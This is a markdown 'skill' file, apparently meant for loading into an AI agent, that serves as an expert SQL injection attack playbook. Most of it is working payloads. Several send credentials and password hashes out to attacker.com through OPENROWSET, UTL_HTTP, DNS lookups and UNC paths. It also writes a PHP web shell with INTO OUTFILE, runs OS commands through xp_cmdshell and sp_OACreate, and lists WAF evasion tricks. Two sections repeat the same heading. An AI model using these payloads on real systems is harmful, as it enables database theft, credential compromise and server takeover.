+# SKILL: SQL Injection — Expert Attack Playbook
+
+> **AI LOAD INSTRUCTION**: Advanced SQLi techniques. Assumes basic UNION/error/boolean-blind fundamentals known. Focuses on: per-database exploitation, out-of-band exfiltration, second-order injection, parameterized query bypass scenarios, filter evasion, and escalation to OS. For real-world CVE cases, SMB/DNS OOB exfiltration, INSERT/UPDATE injection patterns, and framework-specific exploitation (ThinkPHP, Django GIS), load the companion [SCENARIOS.md](./SCENARIOS.md).
+
+## 0. RELATED ROUTING
+
+- [ghost-bits-cast-attack](../ghost-bits-cast-attack/SKILL.md) when the backend is **Java with Jackson** and your SQL keywords are WAF-blocked — Jackson's `charToHex` table is indexed by `ch & 0xFF`, so a Unicode character like `丰` (U+4E30) resolves to hex digit `0` inside a `\uXXXX` escape sequence, letting you smuggle `UNION`, `SELECT`, `1`, etc. without the WAF ever seeing them
+
+## 1. QUICK START
+
+### Extended Scenarios
+
+Also load [SCENARIOS.md](./SCENARIOS.md) when you need:
+- SMB out-of-band exfiltration via `LOAD_FILE` + UNC paths (Windows MySQL)
+- KEY injection / URI injection / non-parameter injection points
+- INSERT/DELETE/UPDATE statement injection differences
+- ThinkPHP5 array key injection (`updatexml` error-based)
+- Django GIS Oracle `utl_inaddr.get_host_name` CVE
+- ORDER BY / LIMIT injection techniques
+
+### Advanced Reference
+
+Also load [SQLMAP_ADVANCED.md](./SQLMAP_ADVANCED.md) when you need:
+- SQLMap tamper scripts matrix and WAF bypass tamper chain recipes (space2comment, between, charencode, etc.)
+- `--technique`, `--risk`/`--level` combinations and `--second-url` for second-order injection
+- `--os-shell` / `--os-pwn` OS-level exploitation via SQLMap
+- INSERT/UPDATE/DELETE injection patterns with data exfiltration examples
+- GraphQL + SQL injection (batched queries, nested field injection, mutation injection)
+- DB-specific advanced functions: PostgreSQL dollar-sign quoting, MSSQL linked servers, Oracle DBMS_PIPE/DBMS_SCHEDULER
+
+If you have only confirmed a suspicious SQL sink, do not load extra payload skills first; complete first-pass validation here.
+
+### First-pass payload families
+
+| Situation | Start With | Why |
+|---|---|---|
+| Login or boolean branch | `' or 1=1--` | Fast signal on auth or conditional checks |
+| Numeric parameter | `1 or 1=1` | Avoid quote dependency |
+| ORDER BY / sorting | `1,2,3` then `1 desc--` | Good for structural probing |
+| Visible SQL errors | `'` then DBMS-specific error probes | Error text gives DBMS clues |
+| No visible output | time-based payloads | Stable fallback for blind targets |
+| Heavy filtering / WAF | polyglot or whitespace-free variants | Expands parser confusion surface |
+
+### Small, stable first-pass set
+
+```text
+'
+' or 1=1--
+' or '1'='1'--
+1 or 1=1
+') or ('1'='1
+'; WAITFOR DELAY '0:0:5'--
+' AND SLEEP(5)--
+'||(SELECT pg_sleep(5))--
+1 AND DBMS_PIPE.RECEIVE_MESSAGE('a',5)
+' order by 1--
+' union select null--
+```
+
+### DBMS routing hints
+
+| Clue | Likely DBMS | Good Next Move |
+|---|---|---|
+| `You have an error in your SQL syntax` | MySQL | try `SLEEP()` and `@@version` |
+| `Microsoft OLE DB Provider` | MSSQL | try `WAITFOR DELAY` |
+| `PG::` / `PostgreSQL` | PostgreSQL | try `pg_sleep()` |
+| `ORA-` prefix | Oracle | pivot to out-of-band or XML features |
+| SQLite errors, local apps | SQLite | focus on boolean/UNION and file-backed behavior |
+
+---
+
+## 1. DETECTION — SUBTLE INDICATORS
+
+Most SQLi is found by **behavioral differences**, not errors:
+
+| Signal | Meaning |
+|---|---|
+| Page loads differently with `'` vs `''` | String context injection point |
+| Numeric: `1` vs `1-1` vs `2-1` returns same | Arithmetic evaluated |
+| `1=1` vs `1=2` in condition changes result | Boolean-based injection |
+| SELECT with ORDER BY N: column count enumeration | UNION prep |
+| Time delay: `'; WAITFOR DELAY '0:0:5'--` | Blind/time-based |
+| 500 error on `'`, 200 on `''` | Unhandled exception = SQLi |
+| Different HTTP response size | Boolean blind indicator |
+
+**Critical**: test in ALL parameter types — URL query, POST body, JSON fields, XML values, HTTP headers (X-Forwarded-For, User-Agent, Referer, Cookie values).
+
+---
+
+## 2. DATABASE FINGERPRINTING
+
+```sql
+-- MySQL
+VERSION()              -- returns version string
+@@datadir              -- data directory
+@@global.secure_file_priv  -- file read restriction
+
+-- MSSQL
+@@VERSION              -- includes "Microsoft SQL Server"
+DB_NAME()              -- current database
+USER_NAME()            -- current user
+
+-- Oracle
+v$version              -- SELECT banner FROM v$version WHERE ROWNUM=1
+sys.database_name      -- current db (alternative)
+user                   -- current Oracle user
+
+-- PostgreSQL
+version()              -- returns version
+current_database()     -- current db
+current_user           -- current user
+```
+
+**Error-based fingerprint**: inject `'` and read error message format. MySQL errors differ from Oracle/MSSQL.
+
+---
+
+## 3. UNION-BASED DATA EXTRACTION
+
+**Column count determination**:
+```sql
+ORDER BY 1--
+ORDER BY 2--
+ORDER BY N--   ← until error = N-1 columns
+```
+
+**Column type detection** (NULL is safest):
+```sql
+UNION SELECT NULL,NULL,NULL--
+UNION SELECT 'a',NULL,NULL--  ← find string column
+```
+
+**Database-specific string concat** (required when column accepts only int):
+```sql
+-- MySQL
+CONCAT(username,0x3a,password)
+
+-- MSSQL
+username+'|'+password
+
+-- Oracle
+username||'|'||password
+
+-- PostgreSQL
+username||':'||password
+```
+
+---
+
+## 4. BLIND INJECTION — INFERENCE TECHNIQUES
+
+### Boolean Blind (conditional response difference)
+```sql
+-- Does first char of username = 'a'?
+' AND SUBSTRING(username,1,1)='a'--
+' AND ASCII(SUBSTRING(username,1,1))>96--
+
+-- Oracle
+' AND SUBSTR((SELECT username FROM users WHERE rownum=1),1,1)='a'--
+
+-- MSSQL
+' AND SUBSTRING((SELECT TOP 1 username FROM users),1,1)='a'--
+```
+
+### Time-Based Blind (no response difference)
+```sql
+-- MSSQL (most reliable)
+'; IF (SUBSTRING(username,1,1)='a') WAITFOR DELAY '0:0:5'--
+
+-- MySQL
+' AND IF(SUBSTRING(username,1,1)='a',SLEEP(5),0)--
+
+-- Oracle
+' AND 1=(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '1' END FROM dual)--
+-- Oracle sleep alternative (no SLEEP):
+' AND 1=UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual))--
+
+-- PostgreSQL
+'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
+```
+
+---
+
+## 5. OUT-OF-BAND (OOB) EXFILTRATION — CRITICAL
+
+Use when blind injection has no time/boolean indicator, or when batch queries can't return data inline.
+
+### MSSQL — OpenRowSet (requires SQLOLEDB, outbound TCP)
+```sql
+'; INSERT INTO OPENROWSET(
+  'SQLOLEDB',
+  'DRIVER={SQL Server};SERVER=attacker.com,80;UID=sa;PWD=pass',
+  'SELECT * FROM foo'
+) VALUES (@@version)--
+
+-- Exfiltrate table data:
+'; INSERT INTO OPENROWSET(
+  'SQLOLEDB',
+  'DRIVER={SQL Server};SERVER=attacker.com,80;UID=sa;PWD=pass',
+  'SELECT * FROM foo'
+) SELECT TOP 1 username+':'+password FROM users--
+```
+Use **port 80 or 443** to bypass firewall egress restrictions.
+
+### Oracle — UTL_HTTP (HTTP GET with data in URL path)
+```sql
+'+UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT username FROM all_users WHERE ROWNUM=1))--
+```
+Oracle's UTL_HTTP supports proxy — can exfil through corporate proxy!
+
+### Oracle — UTL_INADDR (DNS exfiltration — often bypasses HTTP restrictions)
+```sql
+'+UTL_INADDR.GET_HOST_NAME((SELECT password FROM dba_users WHERE username='SYS')||'.attacker.com')--
+```
+Attacker sees: `HASH_VALUE.attacker.com` DNS query → read password hash.
+
+### Oracle — UTL_SMTP / UTL_TCP
+```sql
+-- Email large data dumps:
+UTL_SMTP.SENDMAIL(...)  -- send query results via email
+
+-- Raw TCP socket:
+UTL_TCP.OPEN_CONNECTION('attacker.com', 80)
+```
+
+### MySQL — DNS via LOAD_FILE (Windows + UNC path)
+```sql
+SELECT LOAD_FILE('\\\\attacker.com\\share')
+-- Triggers DNS lookup before connection attempt
+-- Works on Windows hosts with outbound SMB
+```
+
+### MySQL — INTO OUTFILE (in-band filesystem write)
+```sql
+SELECT "<?php system($_GET['c']); ?>" INTO OUTFILE '/var/www/html/shell.php'
+-- Requirements: FILE privilege, writable web root, secure_file_priv=''
+```
+
+---
+
+## 6. ESCALATION — OS COMMAND EXECUTION
+
+### MSSQL — xp_cmdshell (if enabled, or if sysadmin)
+```sql
+'; EXEC xp_cmdshell('whoami')--
+
+-- Enable if disabled (requires sysadmin):
+'; EXEC sp_configure 'show advanced options',1; RECONFIGURE--
+'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE--
+```
+
+### MySQL — UDF (User Defined Functions)
+Write malicious shared library to filesystem, then `CREATE FUNCTION ... SONAME`.
+
+### Oracle — Java Stored Procedures
+```sql
+-- Create Java class:
+EXEC dbms_java.grant_permission('SCOTT','SYS:java.io.FilePermission','<<ALL FILES>>','execute');
+-- Then exec OS commands via Java Runtime
+```
+
+---
+
+## 7. SECOND-ORDER INJECTION
+
+**Concept**: User input is stored safely (parameterized), but later **retrieved as trusted data** and concatenated into a new query without re-sanitization.
+
+**Example attack flow**:
+1. Register username: `admin'--`
+2. Application safely inserts this into users table
+3. Password change function fetches username from session (trusted!) and builds:
+   ```sql
+   UPDATE users SET password='newpass' WHERE username='admin'--'
+   ```
+4. Comment strips the condition → updates **admin's** password
+
+**Key insight**: Any application function that reads stored data and uses it in a new DB query is a second-order candidate. Review: password change, profile update, admin action on user data.
+
+---
+
+## 8. PARAMETERIZED QUERY BYPASS SCENARIOS
+
+Parameterized queries do NOT prevent SQLi when:
+
+1. **Table/column names are user-controlled** — params can't parameterize identifiers:
+   ```sql
+   -- UNSAFE even with params:
+   "SELECT * FROM " + tableName + " WHERE id = ?"
+   ```
+   Mitigation: whitelist-validate table/column names.
+
+2. **Partial parameterization** — some fields concatenated, others parameterized:
+   ```sql
+   "SELECT * FROM users WHERE type='" + userType + "' AND id=?"
+   -- userType not parameterized → injection
+   ```
+
+3. **IN clause** with dynamic count (common mistake in ORMs):
+   ```sql
+   SELECT * FROM items WHERE id IN (1, 2, ?)  -- only last is parameterized
+   ```
+
+4. **Second-order** — data retrieved from DB assumed clean, re-used in query without params.
+
+---
+
+## 9. FILTER EVASION TECHNIQUES
+
+### Comment Injection (break keywords)
+```sql
+SEL/**/ECT
+UN/**/ION
+1 UN/**/ION ALL SEL/**/ECT NULL--
+```
+
+### Case Variation
+```sql
+UnIoN SeLeCt
+```
+
+### URL Encoding
+```sql
+%55NION  -- U
+%53ELECT -- S
+```
+
+### Whitespace Alternatives
+```sql
+SELECT/**/username/**/FROM/**/users
+SELECT%09username%09FROM%09users  -- tab
+SELECT%0ausername%0aFROM%0ausers  -- newline
+```
+
+### String Construction (bypass literal-string detection)
+```sql
+-- MySQL concatenation without quotes:
+CHAR(117,115,101,114,110,97,109,101)  -- 'username'
+
+-- Oracle:
+CHR(117)||CHR(115)||CHR(101)||CHR(114)
+
+-- MSSQL:
+CHAR(117)+CHAR(115)+CHAR(101)+CHAR(114)
+```
+
+---
+
+## 10. DATABASE METADATA EXTRACTION
+
+### MySQL
+```sql
+SELECT schema_name FROM information_schema.schemata
+SELECT table_name FROM information_schema.tables WHERE table_schema=database()
+SELECT column_name FROM information_schema.columns WHERE table_name='users'
+```
+
+### MSSQL
+```sql
+SELECT name FROM master..sysdatabases
+SELECT name FROM sysobjects WHERE xtype='U'  -- user tables
+SELECT name FROM syscolumns WHERE id=OBJECT_ID('users')
+```
+
+### Oracle
+```sql
+SELECT owner,table_name FROM all_tables
+SELECT column_name FROM all_tab_columns WHERE table_name='USERS'
+SELECT username,password FROM dba_users  -- requires DBA
+```
+
+### PostgreSQL
+```sql
+SELECT datname FROM pg_database
+SELECT tablename FROM pg_tables WHERE schemaname='public'
+SELECT column_name FROM information_schema.columns WHERE table_name='users'
+```
+
+---
+
+## 11. STORED PROCEDURE ABUSE
+
+### MSSQL — sp_OAMethod (COM automation)
+```sql
+DECLARE @o INT
+EXEC sp_OACreate 'wscript.shell', @o OUT
+EXEC sp_OAMethod @o, 'run', NULL, 'cmd.exe /c whoami > C:\out.txt'
+```
+
+### Oracle — DBMS_LDAP (outbound LDAP = DNS exfil)
+```sql
+SELECT DBMS_LDAP.INIT((SELECT password FROM dba_users WHERE username='SYS')||'.attacker.com',389) FROM dual
+```
+
+---
+
+## 12. QUICK REFERENCE — INJECTION TEST STRINGS
+
+```
+'                          -- break string context
+''                         -- escaped quote (test handling)
+' OR 1=1--                 -- auth bypass attempt  
+' OR 'a'='a               -- alternate auth bypass
+'; SELECT 1--             -- statement termination
+' UNION SELECT NULL--     -- UNION test
+' AND 1=1--               -- boolean true
+' AND 1=2--               -- boolean false (different response → injectable)
+1; WAITFOR DELAY '0:0:3'-- -- MSSQL time delay
+1 AND SLEEP(3)--          -- MySQL time delay
+1 AND 1=dbms_pipe.receive_message(('a'),3)-- -- Oracle time delay
+```
+
+---
+
+## 13. WAF BYPASS MATRIX
+
+| Technique | Blocked | Bypass |
+|---|---|---|
+| Space filtered | `SELECT * FROM` | `SELECT/**/*//**/FROM`, `SELECT%0a*%0aFROM` |
+| Comma filtered | `UNION SELECT 1,2,3` | `UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c` |
+| Quote filtered | `'admin'` | `0x61646D696E` (hex), `CHAR(97,100,109,105,110)` |
+| OR/AND filtered | `OR 1=1` | <code>&#124;&#124;1=1</code>, `&&1=1`, `DIV 0` |
+| = filtered | `id=1` | `id LIKE 1`, `id REGEXP '^1$'`, `id IN (1)`, `id BETWEEN 1 AND 1` |
+| SELECT filtered | | Use `handler` (MySQL), `PREPARE`+hex, or stacked queries |
+| information_schema filtered | | `mysql.innodb_table_stats`, `sys.schema_table_statistics` |
+
+Additional WAF bypass patterns:
+
+- Polyglot: `SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/`
+- Routed injection: `1' UNION SELECT 0x(inner_payload_hex)-- -` where inner payload is another full query hex-encoded
+- Second Order: inject into storage, trigger when data is used in another query later
+- PDO emulated prepare: when `PDO::ATTR_EMULATE_PREPARES=true`, stacked queries work even with parameterized-looking code
+
+---
+
+## 14. WAF BYPASS MATRIX
+
+### No-Space Bypass
+```sql
+SELECT/**/username/**/FROM/**/users
+SELECT(username)FROM(users)
+```
+
+### No-Comma Bypass
+```sql
+-- UNION with JOIN instead of comma:
+UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c
+-- SUBSTRING alternative: SUBSTRING('abc' FROM 1 FOR 1)
+-- LIMIT alternative: LIMIT 1 OFFSET 0
+```
+
+### Polyglot Injection
+```sql
+SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/
+```
+
+### Routed Injection
+```sql
+-- First query returns string used as input to second query:
+' UNION SELECT CONCAT(0x222c,(SELECT password FROM users LIMIT 1))--
+-- The returned value becomes part of another SQL context
+```
+
+### Second-Order Injection
+```
+-- Step 1: Register username: admin'--
+-- Step 2: Trigger password change (uses stored username in SQL)
+-- UPDATE users SET password='new' WHERE username='admin'--'
+```
+
+### PDO / Prepared Statement Edge Cases
+```php
+// Unsafe even with PDO when query structure is dynamic:
+$pdo->query("SELECT * FROM " . $_GET['table']);
+// Or when using emulated prepares with multi-query:
+$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, true);
+```
+
+### Entry Point Detection (Unicode tricks)
+```
+U+02BA ʺ (modifier letter double prime) → "
+U+02B9 ʹ (modifier letter prime) → '
+%%2727 → %27 → '
+```
